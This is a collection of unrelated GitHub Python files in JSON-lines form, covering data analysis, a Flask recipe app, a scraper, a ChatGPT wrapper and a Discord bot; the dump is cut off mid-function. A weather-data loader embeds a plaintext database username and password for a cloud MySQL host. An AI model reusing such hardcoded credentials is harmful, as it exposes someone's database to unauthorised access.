missing values and skewness.\", '\\n',\n '\\n', condf.sort_values(by=['con_score'], ascending=False).head(25))\n \n\ndef pandas_profiling(df):\n size = len(df)\n if size >= 10000 and size <=19999:\n print('Your dataset is', size,'entries long. This will take a few minutes to process.','\\n',)\n answer = input('Do you wish to continue? [y or n]')\n #input(answer)\n if answer == 'y': \n import pandas_profiling\n display(pandas_profiling.ProfileReport(df))\n else:\n print('I will not run this function right now.')\n elif size < 10000:\n print('Your dataset is ',size,'entries long. This will run fairly quickly.','\\n',)\n answer = input('Do you wish to continue? [y or n]')\n #input(answer)\n if answer == 'y': \n import pandas_profiling\n display(pandas_profiling.ProfileReport(df))\n else:\n print('I will not run this function at this time.')\n else:\n print('Your dataset is', size,'entries long, which is pretty big.')\n answer = input('Do you wish to continue? [y or n]')\n #input(answer)\n if answer == 'y':\n print('Go get a coffee and visit someone while I process this.','\\n')\n import pandas_profiling\n display(pandas_profiling.ProfileReport(df))\n else:\n print('Phew! I am glad I am not running this function right now.')\n \n\n'''\nLeft off trying to have it delete a column on request and change the dtype on request.\n\nThe feature review will look at the specifics of each feature, then ask if you want to \n1. change its dtype,\n2. fill in missing values with some value given, or \n3. delete the feature from the dataframe.\n\n'''\n\ndef feature_review(df):\n print('_______________________________________________') \n obs, features = df.shape\n print(\"observations (rows): \", obs, '\\n',\"features (columns): \", features)\n print('_______________________________________________')\n \n condf = pd.DataFrame(columns = ['feature', 'nulls', 'skewness', 'con_score' ])\n counter = 1\n num_columns = []\n cat_columns = []\n \n for key in df.keys():\n if df[key].dtypes == 'int64':\n num_columns.append(key)\n elif df[key].dtypes == 'float64':\n num_columns.append(key)\n else:\n cat_columns.append(key)\n\n for k in df.keys():\n \n # Introduce the feature\n print('____________________________________________________', '\\n',\n '\\n', k,'=',df[k].dtypes, '\\n')\n \n if k in num_columns:\n # Skew, nulls, con_score\n t = df[k].isnull().sum().sum()\n print('nulls:', t)\n u = t/len(df[k])\n print('nulls percentage:', u)\n v = df[k].skew()\n print('skew:', v, '\\n', '\\n')\n\n if v < 0:\n condf.loc[counter, 'skewness'] = (v)\n v = v*-1 \n else:\n condf.loc[counter, 'skewness'] = (v)\n c = 100-(t/100) - v\n # print(key, \" : \", t, '/', len(df[k]), '=', u)\n condf.loc[counter, 'feature'] = (k)\n condf.loc[counter, 'nulls'] = (t)\n # condf.loc[counter, 'skewness'] = (v)\n condf.loc[counter, 'con_score'] = (\"%.2f\" % round(c,2))\n print('Feature Predictive Confidence Score:', '\\n', \n \"This score for the feature is a measure of that feature's missing values and skewness.\", '\\n',\n '\\n', condf.sort_values(by=['con_score'], ascending=False).head(25))\n else:\n pass\n \n print('\\n')\n \n # Change the data type\n a = input('Would you like to change its data type? [y or n]')\n print('\\n')\n if a == 'y':\n b = input('What type would you like it to be? [int, float64, object]')\n print('\\n')\n if b == 'int':\n df[k] = df[k].astype(int)\n elif b == 'float64': \n df[k] = df[k].astype(float64)\n elif b == 'object':\n df[k] = df[k].astype(object)\n else:\n print('incorrect spelling')\n pass\n \n else:\n pass\n \n # Delete the Feature\n c = input('Would you like me to delete this feature? [y or n]')\n if c == 'y':\n del df[k]\n else:\n pass\n print(k) ","repo_name":"learnpythontacoma/012_EDA_Part_1","sub_path":"lib/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":32744,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"40006579672","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Mar 26 20:07:27 2021\n\nTitle: NumPy Coding\n\n@author: JohanL\n\"\"\"\n\nimport numpy as np\n\nNumP_Array = np.array([[1,2,3],[4,7,8]])\n\nnp1 = np.array([[1,2],[3,4]])\n\nnp2 = np.array([[5,2],[1,7]])\n\nmnp = np1@np2 # matrix product\nmnp3 = np.dot(np1, np2)\n\nmnp2 = np1*np2 # product component by component\nmnp4 = np.multiply(np1, np2)\n\nsum1 = np1 + np2 # add/subtract element by element\nsub1 = np1 - np2\nsub2 = np.subtract(np1, np2)\n\nel_sum = np.sum(np1) # add up all the elements inside of the array\n\n# broadcasting example\nbroad_nump = np1 + 3\nnp3 = np.array([2,4,5])\nbroad_nump2 = NumP_Array + np3 # expand np3 until get the same area\nD = np.divide([12,14,16],5)\n\nnp.math.sqrt(10) # numpy has a math package\n\n# Generate distributions\nnd = np.random.standard_normal((3,4)) # normal distribution\nud = np.random.uniform(1,15,(3,4)) # uniform distribution\n\n\nrn = np.random.rand() # random float No.\n\nrandom_array = np.random.randint(2,50,(3,4)) # random array of integers\n\nzr = np.zeros((2,5))\nones = np.ones((3,2))\n\n\n# Example of how to filter in a range\nfilter_ar = np.logical_and(random_array>20, random_array<35)\nf_random_ar = random_array[filter_ar]\n\n# Basic statistics\ndata_n = np.array([1,3,2,7,8,9,11,4])\nmean_n = np.mean(data_n)\nmedian_n = np.median(data_n)\nvar_n = np.var(data_n)\nsd_n = np.std(data_n)\n\nvar_NumP = np.var(NumP_Array, axis=0) # by columns\nvar_NumP2 = np.var(NumP_Array, axis=1) # by rows\n\n","repo_name":"joelopezci/Online-courses","sub_path":"Udemy/Machine Learning & Data Science A-Z_Hands-on Python 2021/2. Machine Learning Useful Packages (Libraries)/NumPy Coding.py","file_name":"NumPy Coding.py","file_ext":"py","file_size_in_byte":1442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"6974541751","text":"# ~*~ coding:utf-8 ~*~\n\nimport re\nfrom django.utils.translation import *\nfrom django.utils.translation.trans_real import *\nimport inspect\n\nblock_re = re.compile(r\"\"\"^\\s*(_i)(?:\\s+|$)\"\"\")\nendblock_re = re.compile(r\"\"\"^\\s*(\\/i)(?:\\s+|$)\"\"\")\n\ndef templatize(src, origin=None):\n \"\"\"\n Turns a Django template into something that is understood by xgettext. It\n does so by translating the Django translation tags into standard gettext\n function invocations.\n \"\"\"\n from django.template import (TOKEN_TEXT, TOKEN_VAR, TOKEN_BLOCK,\n TOKEN_COMMENT, TRANSLATOR_COMMENT_MARK)\n from lexer import Lexer\n out = StringIO()\n intrans = False\n inplural = False\n singular = []\n plural = []\n incomment = False\n comment = []\n for t in Lexer(src, origin).tokenize():\n if incomment:\n if t.token_type == TOKEN_BLOCK and t.contents == 'endcomment':\n content = u''.join(comment)\n translators_comment_start = None\n for lineno, line in enumerate(content.splitlines(True)):\n if line.lstrip().startswith(TRANSLATOR_COMMENT_MARK):\n translators_comment_start = lineno\n for lineno, line in enumerate(content.splitlines(True)):\n if translators_comment_start is not None and lineno >= translators_comment_start:\n out.write(u' # %s' % line)\n else:\n out.write(u' #\\n')\n incomment = False\n comment = []\n else:\n comment.append(t.contents)\n elif intrans:\n if t.token_type == TOKEN_BLOCK:\n endbmatch = endblock_re.match(t.contents)\n pluralmatch = plural_re.match(t.contents)\n if endbmatch:\n if inplural:\n out.write(' ngettext(%r,%r,count) ' % (''.join(singular), ''.join(plural)))\n for part in singular:\n out.write(blankout(part, 'S'))\n for part in plural:\n out.write(blankout(part, 'P'))\n else:\n out.write(' gettext(%r) ' % ''.join(singular))\n for part in singular:\n out.write(blankout(part, 'S'))\n intrans = False\n inplural = False\n singular = []\n plural = []\n elif pluralmatch:\n inplural = True\n else:\n filemsg = ''\n if origin:\n filemsg = 'file %s, ' % origin\n raise SyntaxError(\"Translation blocks must not include other block tags: %s (%sline %d)\" % (t.contents, filemsg, t.lineno))\n elif t.token_type == TOKEN_VAR:\n if inplural:\n plural.append('%%(%s)s' % t.contents)\n else:\n singular.append('%%(%s)s' % t.contents)\n elif t.token_type == TOKEN_TEXT:\n contents = t.contents.replace('%', '%%')\n if inplural:\n plural.append(contents)\n else:\n singular.append(contents)\n else:\n if t.token_type == TOKEN_BLOCK:\n imatch = inline_re.match(t.contents)\n bmatch = block_re.match(t.contents)\n cmatches = constant_re.findall(t.contents)\n if imatch:\n g = imatch.group(1)\n if g[0] == '\"': g = g.strip('\"')\n elif g[0] == \"'\": g = g.strip(\"'\")\n out.write(' gettext(%r) ' % g)\n elif bmatch:\n for fmatch in constant_re.findall(t.contents):\n out.write(' _(%s) ' % fmatch)\n intrans = True\n inplural = False\n singular = []\n plural = []\n elif cmatches:\n for cmatch in cmatches:\n out.write(' _(%s) ' % cmatch)\n elif t.contents == 'comment':\n incomment = True\n else:\n out.write(blankout(t.contents, 'B'))\n elif t.token_type == TOKEN_VAR:\n parts = t.contents.split('|')\n cmatch = constant_re.match(parts[0])\n if cmatch:\n out.write(' _(%s) ' % cmatch.group(1))\n for p in parts[1:]:\n if p.find(':_(') >= 0:\n out.write(' %s ' % p.split(':',1)[1])\n else:\n out.write(blankout(p, 'F'))\n elif t.token_type == TOKEN_COMMENT:\n out.write(' # %s' % t.contents)\n else:\n out.write(blankout(t.contents, 'X'))\n return out.getvalue()\n","repo_name":"dmfrancisco/django-pystache","sub_path":"management/commands/translation/templatize.py","file_name":"templatize.py","file_ext":"py","file_size_in_byte":4987,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"5"} +{"seq_id":"42921159695","text":"from osgeo import ogr\nfrom network.streets import Streets\nimport configparser, os, sys\n\ndef test_length(config):\n \"\"\"Tests the method to find the intersecting point on the nearest street and calculate\n the distance to the nearest end node. One issue with this is that the commuter may not go\n to the end point, but to the starting point on the edge, but at 50/50 it's hard to say.\n\n This test was written to support the script identify_nearest_osm_commute_node_to_centroids\n script that populates the nearest_street_node_info database table.\"\"\"\n\n la_clipped_streets_osm_src = config['SPATIAL']['BASE_STREET_PATH'] + \\\n config['SPATIAL']['CA_Street_Centerlines_OSM_Clipped'] + '.shp'\n\n la_streets_osm = ogr.Open(la_clipped_streets_osm_src, 0)\n la_streets_osm_layer = la_streets_osm.GetLayer()\n\n la_streets_osm_layer.SetAttributeFilter(\"OSMID = '13375447' AND LENGTH = '1044.342'\")\n w_seventy_fourth = la_streets_osm_layer.GetNextFeature()\n\n if (w_seventy_fourth != None):\n streets = Streets.init_with_layer(la_clipped_streets_osm_src)\n test_point = ogr.Geometry(ogr.wkbPoint)\n # test_point.AddPoint(1964269.7970626, 552558.2448765)\n test_point.AddPoint(-118.386628477268, 33.973191755096)\n test_length = streets.GetLengthFromMidpointToEnd(w_seventy_fourth.GetGeometryRef(), test_point)\n print(\"Test length is {}\".format(str(test_length)))\n\ndef main(argv):\n\n config = configparser.ConfigParser()\n config.read(os.getcwd() + '/params.ini')\n\n test_length(config)\n\nif __name__ == '__main__':\n main(sys.argv[1:])\n","repo_name":"CordThomas/commute-justice-analysis","sub_path":"test_streets.py","file_name":"test_streets.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"24630057511","text":"from PyQt5 import QtWidgets, uic\nfrom Core.Resources.Graph.Graph import *\nfrom Core.Memory.Memory import *\n\ndef openParticipants():\n\tdlg2.show()\n\napp = QtWidgets.QApplication([])\ndlg = uic.loadUi(\"Core/GUI/main.ui\")\ndlg2 = uic.loadUi(\"Core/GUI/Participants.ui\")\n\n\n\ndlg.Add.clicked.connect(openParticipants)\n\n\nTDAGraph = Graph()\nmemory = Memory(\"Core/Memory/mem.tsv\")\ndictGraph = memory.TSVtoDict()\nmemory.DicttoTDA(dictGraph, TDAGraph)\nmemory.exit()\nprint(\" \")\nTDAGraph.print()\n\n\ndlg.show()\napp.exec()","repo_name":"martulioruiz/TournamentCreator","sub_path":"Python/Core/GUI/mainWidget.py","file_name":"mainWidget.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"41089589160","text":"import json\nimport logging\nimport time\n\nimport pandas as pd\nimport requests\n\nlogging.basicConfig(\n format='%(asctime)s - %(name)s - %(message)s',\n datefmt='%Y-%m-%d',\n level=logging.INFO,\n filemode=\"a\"\n)\nlogger = logging.getLogger(__file__)\n\ncolumns = [\n \"agency\",\n \"basepay\",\n \"benefits\",\n \"employeename\",\n \"id\",\n \"jobtitle\",\n \"notes\",\n \"otherpay\",\n \"overtimepay\",\n \"status\",\n \"totalpay\",\n \"totalpaybenefits\",\n \"year\"\n]\n\n\ndef paging_stats(url):\n\n res = requests.get(url)\n data_json = json.loads(res.content)\n total_count = data_json['pagination']['count']\n pages = data_json['pagination']['pages']\n\n return total_count, pages\n\n\ndef get_data(url):\n try:\n res = requests.get(url)\n data_json = json.loads(res.content)\n data_parsed = pd.json_normalize(data_json, record_path=['results'])\n\n return data_parsed\n except Exception as e:\n logger.error(e)\n\n\nif __name__ == '__main__':\n # Inicio del proceso\n start = time.time()\n\n # Obtenemos información de cuántas páginas tiene el conjunto de datos de la API\n per_page = 100\n base_url = \"http://localhost:1337/salaries\"\n first_req_url = f\"{base_url}?per-page={per_page}\"\n total_count, pages = paging_stats(first_req_url)\n\n # Generamos una lista con todas las URL a la que debemos hacer peticiones\n urls = [\n f'{base_url}?page={i}&per-page={per_page}' for i in range(1, pages + 1)]\n\n # Definimos un DataFrame vacío que iremos poblando sincrónicamente a\n # medida que se obtengan los datos de cada request\n df = pd.DataFrame(columns=columns)\n for url in urls:\n tmp_df = get_data(url)\n df = pd.concat([df, tmp_df], axis=0)\n\n # Exportamos el resultado obtenido\n df.to_csv('output_sync.csv', index=False, encoding='utf-8-sig')\n\n # Fin del proceso\n end = time.time()\n seconds = end - start\n minutes, seconds = divmod(seconds, 60)\n hours, minutes = divmod(minutes, 60)\n\n logger.info(\"Execution time: %d:%02d:%02d\" % (hours, minutes, seconds))\n","repo_name":"ochoajuanm/python-async-sraping","sub_path":"main_sync.py","file_name":"main_sync.py","file_ext":"py","file_size_in_byte":2074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"5320613431","text":"from flask import render_template, flash, redirect, url_for, request, current_app\nfrom app import db\nfrom app.models import Recipe, Ingredient, Instruction, Category, RecipeIngredient, Inventory, Substitution\nfrom app.main.forms import EditRecipeForm, EditInventoryForm\nfrom app.main import bp\n\n\n# import pdb; pdb.set_trace()\n\n@bp.route('/')\n@bp.route('/home')\ndef home():\n user = {'username': 'Super Sario'}\n return render_template('home.html', title='Home')\n\n@bp.route('/recipes/<category>')\ndef recipes_category(category):\n user = {'username': 'Super Sario'}\n rec_cat_dict = { 'mains': 'Main course', 'sides': 'Side dish', 'salads': 'Salad', 'soups': 'Soup', 'appetizers': 'Appetizer', 'sandwiches': 'Sandwich', 'breads': 'Bread / pastry', 'snacks': 'Snack', 'desserts': 'Dessert', 'drinks': 'Drink', 'condiments': 'Condiment', 'all': 'all'}\n flip_rec_dict = { \"Main course\": \"mains\", \"Side dish\": \"sides\", \"Salad\": \"salads\", \"Soup\": \"soups\", \"Appetizer\": \"appetizers\", \"Sandwich\": \"sandwiches\", \"Bread / pastry\": \"breads\", \"Snack\": \"snacks\", \"Dessert\": \"desserts\", \"Drink\": \"drinks\", \"Condiment\": \"condiments\", 'all': 'all'}\n categories = Category.query.order_by(Category.name.asc())\n if category == 'all':\n recipes = Recipe.query.order_by(Recipe.name.asc())\n else:\n recipes = Recipe.query.filter_by(category=rec_cat_dict[category])\n return render_template('recipes_category.html', title='Recipes', categories=categories, user=user, recipes=recipes, category=category, rec_cat_dict=rec_cat_dict, flip_rec_dict=flip_rec_dict)\n\n\n@bp.route('/recipe/<id>')\ndef recipe(id):\n user = {'username': 'Super Sario'}\n flip_rec_dict = {'Produce': 'produce', 'Dairy/Dairy Substitutes': 'dairy', 'Eggs': 'eggs', 'Meat/Fish': 'meat', 'Condiments': 'condiments', 'Spices': 'spices', 'Nuts': 'nuts', 'Beverage': 'beverages', 'Oils/Vinegars': 'oils', 'Grains': 'grains', 'Beans': 'beans', 'Baking': 'baking', 'Dessert': 'dessert', 'Misc': 'misc', 'All': 'all'}\n ing_cat_dict = {'produce': 'Produce', 'dairy': 'Dairy/Dairy Substitutes', 'eggs': 'Eggs', 'meat': 'Meat/Fish', 'condiments': 'Condiments', 'spices': 'Spices', 'nuts': 'Nuts', 'beverages': 'Beverage', 'oils': 'Oils/Vinegars', 'grains': 'Grains', 'beans': 'Beans', 'baking': 'Baking', 'dessert': 'Dessert', 'misc': 'Misc', 'all': 'All'}\n recipe = Recipe.query.get(id)\n recipe_ingredients = recipe.ingredients\n inventory = Inventory.query.all()\n return render_template('recipe.html', title='Recipe', user=user, recipe=recipe, recipe_ingredients=recipe_ingredients, inventory=inventory, flip_rec_dict=flip_rec_dict, ing_cat_dict=ing_cat_dict)\n\n\n@bp.route('/edit_recipe/<id>', methods=['GET', 'POST'])\ndef edit_recipe(id):\n recipe = Recipe.query.get(id)\n recipe_ingredients = recipe.ingredients\n form = EditRecipeForm()\n if form.validate_on_submit():\n recipe.name = form.name.data\n recipe.description = form.description.data\n recipe.recipe_yield = form.recipe_yield.data\n recipe.category = form.category.data\n recipe.image = form.image.data\n recipe.source = form.source.data\n recipe.url = form.url.data\n db.session.commit()\n flash('Your changes have been saved.')\n return redirect(url_for('main.recipe', id=recipe.id))\n elif request.method == 'GET':\n form.name.data = recipe.name\n form.description.data = recipe.description\n form.recipe_yield.data = recipe.recipe_yield\n form.category.data = recipe.category\n form.image.data = recipe.image\n form.source.data = recipe.source\n form.url.data = recipe.url\n return render_template('edit_recipe.html', title='Edit Recipe', form=form,\n recipe=recipe, recipe_ingredients=recipe_ingredients)\n\n\n@bp.route('/inventory/<category>')\ndef inventory(category):\n user = {'username': 'Super Sario'}\n ingredients = Ingredient.query.all()\n flip_rec_dict = {'Produce': 'produce', 'Dairy/Dairy Substitutes': 'dairy', 'Eggs': 'eggs', 'Meat/Fish': 'meat', 'Condiments': 'condiments', 'Spices': 'spices', 'Nuts': 'nuts', 'Beverage': 'beverages', 'Oils/Vinegars': 'oils', 'Grains': 'grains', 'Beans': 'beans', 'Baking': 'baking', 'Dessert': 'dessert', 'Misc': 'misc', 'All': 'all'}\n ing_cat_dict = {'produce': 'Produce', 'dairy': 'Dairy/Dairy Substitutes', 'eggs': 'Eggs', 'meat': 'Meat/Fish', 'condiments': 'Condiments', 'spices': 'Spices', 'nuts': 'Nuts', 'beverages': 'Beverage', 'oils': 'Oils/Vinegars', 'grains': 'Grains', 'beans': 'Beans', 'baking': 'Baking', 'dessert': 'Dessert', 'misc': 'Misc', 'all': 'All'}\n if category == 'all':\n inventory = Inventory.query.all()\n else:\n inventory = Inventory.query.join(Inventory, Ingredient.inventory).filter(Ingredient.category == ing_cat_dict[category])\n return render_template('inventory.html', title='Inventory', user=user, inventory=inventory, ing_cat_dict=ing_cat_dict, category=category, flip_rec_dict=flip_rec_dict)\n\n\n@bp.route('/options_category/<category>')\ndef options_category(category):\n user = {'username': 'Super Sario'}\n rec_cat_dict = { 'mains': 'Main course', 'sides': 'Side dish', 'salads': 'Salad', 'soups': 'Soup', 'appetizers': 'Appetizer', 'sandwiches': 'Sandwich', 'breads': 'Bread / pastry', 'snacks': 'Snack', 'desserts': 'Dessert', 'drinks': 'Drink', 'condiments': 'Condiment'}\n flip_rec_dict = { \"Main course\": \"mains\", \"Side dish\": \"sides\", \"Salad\": \"salads\", \"Soup\": \"soups\", \"Appetizer\": \"appetizers\", \"Sandwich\": \"sandwiches\", \"Bread / pastry\": \"breads\", \"Snack\": \"snacks\", \"Dessert\": \"desserts\", \"Drink\": \"drinks\", \"Condiment\": \"condiments\"}\n categories = Category.query.order_by(Category.name.asc())\n if category == 'all':\n all_recipes = Recipe.query.order_by(Recipe.name.asc())\n recipes = Recipe.find_options(all_recipes)\n else:\n cat_recipes = Recipe.query.filter_by(category=rec_cat_dict[category])\n recipes = Recipe.find_options(cat_recipes)\n return render_template('options_category.html', title='My Recipes', rec_category=category, categories=categories, user=user, recipes=recipes, rec_cat_dict=rec_cat_dict, flip_rec_dict=flip_rec_dict)\n\n@bp.route('/inventory/toggle/<id>/<category>', methods=['GET', 'POST'])\ndef toggle_inventory_item(id, category):\n inventory_item = Inventory.query.get(id)\n inventory_item.toggle_status()\n db.session.commit()\n return redirect(url_for('main.inventory', category=category))\n\n@bp.route('/recipe_inventory/toggle/<ingredient>/<category>/<recipe>', methods=['GET', 'POST'])\ndef toggle_recipe_inventory_item(ingredient, category, recipe):\n inventory_item = Inventory.query.get(ingredient)\n inventory_item.toggle_status()\n db.session.commit()\n return redirect(url_for('main.recipe', id=recipe))\n","repo_name":"CheerOnMars/plentiful-pantry","sub_path":"app/main/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":6794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"33427132227","text":"from django.core.exceptions import ValidationError\nfrom django.core.validators import URLValidator\n\ndef validator_url(val):\n url_validator = URLValidator()\n try:\n url_validator(val)\n except:\n raise ValidationError(\"Invalid URL\")\n\ndef validate_dot_com(val):\n if not \"com\" in val:\n raise ValidationError(\"not end with com\")\n return val","repo_name":"HarleyCody/shorturlgenerator","sub_path":"src/shortner/validator.py","file_name":"validator.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"19333439515","text":"import time\n\n#definisson la clase de notre regulateur PID\nclass PID:\n def __init__(self, kp, ki, kd):\n self.kp = kp\n self.ki = ki\n self.kd = kd\n self.error_prev = 0\n self.integral = 0\n\n #calcul du PID\n def update(self, error):\n self.integral += error\n d_error = error - self.error_prev\n output = self.kp * error + self.ki * self.integral + self.kd * d_error\n\n self.error_prev = error\n return output\n\n#Example usage\npid = PID(1.0, 0.1, 0.01)\nwhile True:\n error = 1 # erreur retenu lor de la comparaison\n output = pid.update(error)\n # sortie.\n time.sleep(0.01)","repo_name":"mathshell/apris","sub_path":"code_PID.py","file_name":"code_PID.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"34940012444","text":"import requests\nimport mysql.connector\nfrom mysql.connector import errorcode\nimport sqlalchemy\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy import Column, Integer, String\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy import *\nimport csv\n\nSession = sessionmaker()\n\ndef connect():\n \"\"\"Function to connect to database on Amazon Web Services\"\"\"\n try:\n engine = create_engine(\n 'mysql+mysqlconnector://dublinbikesadmin:dublinbikes2018@dublinbikes.cglcinwmtg3w.eu-west-1.rds.amazonaws.com/dublinbikes')\n port = 3306\n connection = engine.connect()\n Session.configure(bind=engine)\n return engine\n # https://campus.datacamp.com/courses/introduction-to-relational-databases-in-python/advanced-sqlalchemy-queries?ex=2#skiponboarding\n\n except Exception as e:\n print(\"An error occurred when connecting to the database: \", e)\n # https://dev.mysql.com/doc/connector-python/en/connector-python-api-errors-error.html\n # https://campus.datacamp.com/courses/introduction-to-relational-databases-in-python/advanced-sqlalchemy-queries?ex=2#skiponboarding\n\n\ndef insert_weather(temp, temp_min, temp_max, description, mainDescription, speed, deg, dt_txt, humidity, rain):\n try:\n connection = engine.connect()\n connection.execute(\n \"INSERT INTO weather_info (temp, temp_min, temp_max, description, mainDescription, speed, deg, dt_txt, humidity, rain) VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s);\",\n (temp, temp_min, temp_max, description, mainDescription, speed, deg, dt_txt, humidity, rain))\n except Exception as e:\n print(\"An error occurred inserting data into weather_info : \", e)\n return\n\ndef get_data():\n with open('dublin_weather.csv') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n #skip over the first row in csv (column header)\n next(csv_reader)\n temperatures = []\n clouds = []\n dt_isos = []\n humidities = []\n min_temps = []\n max_temps = []\n maindescriptions = []\n winds = []\n windspeeds = []\n detdescriptions = []\n rain3hs = []\n for line in csv_reader:\n cloud = line[1]\n dt_iso = line[3]\n humidity = line[4]\n temperature = line[6]\n max_temperature = line[7]\n min_temperature = line[8]\n rain3h = line[11]\n wind = line[12]\n windspeed = line[13]\n detdescription = line[14]\n maindescription = line[17]\n temperatures.append(temperature)\n clouds.append(cloud)\n dt_isos.append(dt_iso)\n humidities.append(humidity)\n min_temps.append(min_temperature)\n max_temps.append(max_temperature)\n maindescriptions.append(maindescription)\n winds.append(wind)\n windspeeds.append(windspeed)\n detdescriptions.append(detdescription)\n rain3hs.append(rain3h)\n length = len(temperatures)\n i = 0\n while i < length:\n var1 = float(temperatures[i])\n truetemp = var1 - 273.15\n var2 = rain3hs[i]\n var3 = dt_isos[i]\n var4 = humidities[i]\n var5 = float(min_temps[i])\n truemin = var5 - 273.15\n var6 = float(max_temps[i])\n truemax = var6 - 273.15\n var7 = maindescriptions[i]\n var8 = winds[i]\n var9 = windspeeds[i]\n var10 = detdescriptions[i]\n insert_weather(truetemp, truemin, truemax, var10, var7, var9, var8, var3, var4, var2)\n i += 1\n # https://www.youtube.com/watch?v=K_oXb04izZM\n\nengine = connect()\nget_data()\n","repo_name":"aoifeosullivan19/comp30670project","sub_path":"Scraping_Files/historical_weather.py","file_name":"historical_weather.py","file_ext":"py","file_size_in_byte":3764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"20255299829","text":"import requests\nimport json\n\n\nclass Chatgpt(object):\n def __init__(self, textoGPT = \"\"):\n self.info = {}\n self.textoGPT = textoGPT\n\n def selectGPT(self, textoGPT):\n try:\n headers = {\"Authorization\": \"Bearer \", \"content-type\": \"Application/json\"}\n\n link = \"https://api.openai.com/v1/chat/completions\"\n\n id_modelo = \"gpt-3.5-turbo\"\n\n body_mensagem = {\n \"model\": id_modelo,\n \"messages\": [{\"role\": \"user\", \"content\": textoGPT}]\n }\n\n body_mensagem = json.dumps(body_mensagem)\n requisicao = requests.post(link, headers=headers, data=body_mensagem)\n\n resposta = requisicao.json()\n\n return resposta [\"choices\"][0][\"message\"][\"content\"]\n except:\n return resposta [\"error\"][\"message\"] + textoGPT\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"rcostape/tcc_iesb","sub_path":"gui_python/Chatgpt/Chatgpt.py","file_name":"Chatgpt.py","file_ext":"py","file_size_in_byte":861,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"42211216942","text":"import discord\nimport sqlite3\nimport time\nfrom revChatGPT.V1 import Chatbot\nfrom utils.EmbedMessage import SakuraEmbedMsg\nimport asyncio,threading,io\n\nclass PsCommands(object):\n def __init__(self,bot) -> None:\n self.bot = bot\n self.prefix = \"! \"\n self.command_dict = {\n \"send\": self.send,\n \"sqladd\": self.sqladd,\n \"sqldel\": self.sqldel\n }\n with open(\"chatgpt_key\",\"r\") as key:\n self.chatbot = Chatbot(config={\"access_token\":key.read()})\n \n\n async def select_commands(self,message: discord.Message):\n command = message.content.split(\" \")[1]\n func = self.command_dict.get(command)\n if func is not None:\n await func(message=message)\n return True\n else:\n return False\n\n async def send(self, message: discord.Message):\n content = message.content.removeprefix(f\"{self.prefix}send \")\n if message.channel.type != discord.ChannelType.private:\n await message.delete()\n if message.reference and message.reference.cached_message:\n await message.reference.cached_message.reply(content)\n else:\n await message.channel.send(content)\n\n async def sqladd(self, message: discord.Message):\n id = message.author.id\n guild = message.guild.id\n name = f\"{message.author.display_name}#{message.author.discriminator}\"\n content = int(message.content.removeprefix(f\"{self.prefix}sqladd \"))\n\n with sqlite3.connect(\"./databases/XPCount.db\") as conn:\n cursor = conn.cursor()\n xp = cursor.execute(\"SELECT XP FROM TextChannelXP WHERE ID = ? AND Guild = ?\", (id, guild)).fetchone()[0]\n xp += content\n cursor.execute(\n \"UPDATE TextChannelXP SET XP = ?, Name = ?, LastMsg = ? WHERE ID = ? AND Guild = ?\",\n (xp, name, int(time.time()), id, guild)\n )\n if cursor.rowcount == 1:\n await message.delete()\n\n async def sqldel(self, message: discord.Message):\n id = message.author.id\n guild = message.guild.id\n name = f\"{message.author.display_name}#{message.author.discriminator}\"\n content = int(message.content.removeprefix(f\"{self.prefix}sqldel \"))\n\n with sqlite3.connect(\"./databases/XPCount.db\") as conn:\n cursor = conn.cursor()\n xp = cursor.execute(\"SELECT XP FROM TextChannelXP WHERE ID = ? AND Guild = ?\", (id, guild)).fetchone()[0]\n xp -= content\n cursor.execute(\n \"UPDATE TextChannelXP SET XP = ?, Name = ?, LastMsg = ? WHERE ID = ? AND Guild = ?\",\n (xp, name, int(time.time()), id, guild)\n )\n if cursor.rowcount == 1:\n await message.delete()\n\n async def chat(self,message: discord.Message):\n prompt = message.content\n response = \"\"\n try:\n for data in self.chatbot.ask(prompt):\n response = data[\"message\"]\n return response\n except Exception as e:\n return str(e)\n \nclass TagCommands(object):\n def __init__(self,bot) -> None:\n self.bot = bot\n self.command_dict = {\n \"幫我釘選\": self.ping_msg,\n \"runcode\": self.run_code\n }\n self.pinnedMsgDB = sqlite3.connect(f\"./databases/PinnedMsg.db\")\n self.pinnedMsgDB_cursor = self.pinnedMsgDB.cursor()\n\n async def select_commands(self,message: discord.Message):\n command = message.content.split(\"<@909796683418832956>\")[1]\n if \"\\n\" in command:\n command = command.split(\"\\n\")[0].replace(\" \",\"\")\n else:\n command = command.replace(\" \",\"\")\n func = self.command_dict.get(command)\n if func is not None:\n await func(message=message)\n return True\n else:\n return False\n\n async def ping_msg(self,message: discord.Message):\n ctx:discord.Message = message.reference.cached_message\n if message.reference == None:\n await 